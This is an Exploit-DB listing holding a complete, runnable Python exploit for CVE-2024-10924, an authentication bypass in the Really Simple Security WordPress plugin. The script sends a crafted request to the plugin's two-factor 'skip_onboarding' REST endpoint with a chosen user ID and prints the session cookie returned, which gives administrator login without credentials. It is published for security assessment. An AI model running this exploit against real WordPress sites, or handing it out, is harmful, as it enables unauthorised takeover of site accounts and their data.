Exploit-DB #52207
Description: Really Simple Security 9.1.1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2025-04-15
Author: Antonio Francesco Sardella

Exploit:
#!/usr/bin/env python3

# Exploit Title: Really Simple Security 9.1.1.1 - Authentication Bypass
# Date: 2024-11-19
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://really-simple-ssl.com/
# Software Link: https://really-simple-ssl.com/
# Version: Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 - 9.1.1.1
# Tested on: 'WordPress 6.7.0' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution)
# CVE: CVE-2024-10924
# Category: WebApps
# Repository: https://github.com/m3ssap0/wordpress-really-simple-security-authn-bypass-exploit
# Vulnerability discovered and reported by: István Márton

# This is a Python3 program that exploits Really Simple Security < 9.1.2 authentication bypass vulnerability.

# This makes it possible for unauthenticated attackers to log in as any existing user on the site, 
# such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).

# https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass
# https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl

# DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
# Please use this tool responsibly. I do not take responsibility for the way in which any one uses 
# this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.

import argparse
import json
import logging
import random
import requests
import string
import validators

from requests.auth import HTTPBasicAuth

VERSION = "v1.0 (2024-11-19)"
DEFAULT_LOGGING_LEVEL = logging.INFO

def parse_arguments():
    parser = argparse.ArgumentParser(
        description=f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}"
    )
    parser.add_argument("-t", "--target",
                        required=True,
                        help="URL of the target WordPress")
    parser.add_argument("-uid", "--user-id",
                        required=False,
                        default=1,
                        help="Victim user ID (1 is usually the admin).")
    parser.add_argument("-v", "--verbose",
                        action="store_true",
                        required=False,
                        default=False,
                        help="verbose mode")
    return parser.parse_args()

def validate_input(args):
    try:
        validators.url(args.target)
    except validators.ValidationFailure:
        raise ValueError("Invalid target URL!")
    
    try:
        if int(args.user_id) < 1:
            raise ValueError("Invalid user ID!")
    except ValueError:
        raise ValueError("Invalid user ID!")

def send_request(url, user_id):
    logging.info("Sending request to target WordPress.")

    target_endpoint = f"{url}"
    if not target_endpoint.endswith("/"):
        target_endpoint = f"{target_endpoint}/"
    target_endpoint = f"{target_endpoint}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
    }

    body = {
        "user_id": int(user_id),
        "login_nonce": "".join(random.choices(string.digits, k=10)),
        "redirect_to": "/wp-admin/"
    }
    logging.debug(f"Body: {body}")

    try:
        r = requests.post(target_endpoint, headers=headers, json=body , verify=False)
        logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).")
    except Exception as e:
        logging.fatal("Error in contacting the target WordPress.")
        logging.fatal(e)
        return
    
    if r.status_code == 200 and r.headers["Set-Cookie"] is not None and "redirect_to" in r.text and "=deleted;" not in r.headers["Set-Cookie"]:
        logging.info(f"Cookie received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------")
    else:
        logging.fatal("Wrong response received from the target WordPress.")
        logging.debug(f"Cookie and body received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------\n{r.text}\n---------------------")

def main():
    args = parse_arguments()
    logging_level = DEFAULT_LOGGING_LEVEL
    if args.verbose:
        logging_level = logging.DEBUG
    logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s")

    validate_input(args)
    target = args.target.strip()
    user_id = int(args.user_id)
    logging.info(f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}")
    logging.debug("Parameters:")
    logging.debug(f"    target = {target}")
    logging.debug(f"   user_id = {user_id}")

    send_request(target, user_id)

    logging.info("Finished.")

if __name__ == "__main__":
    main()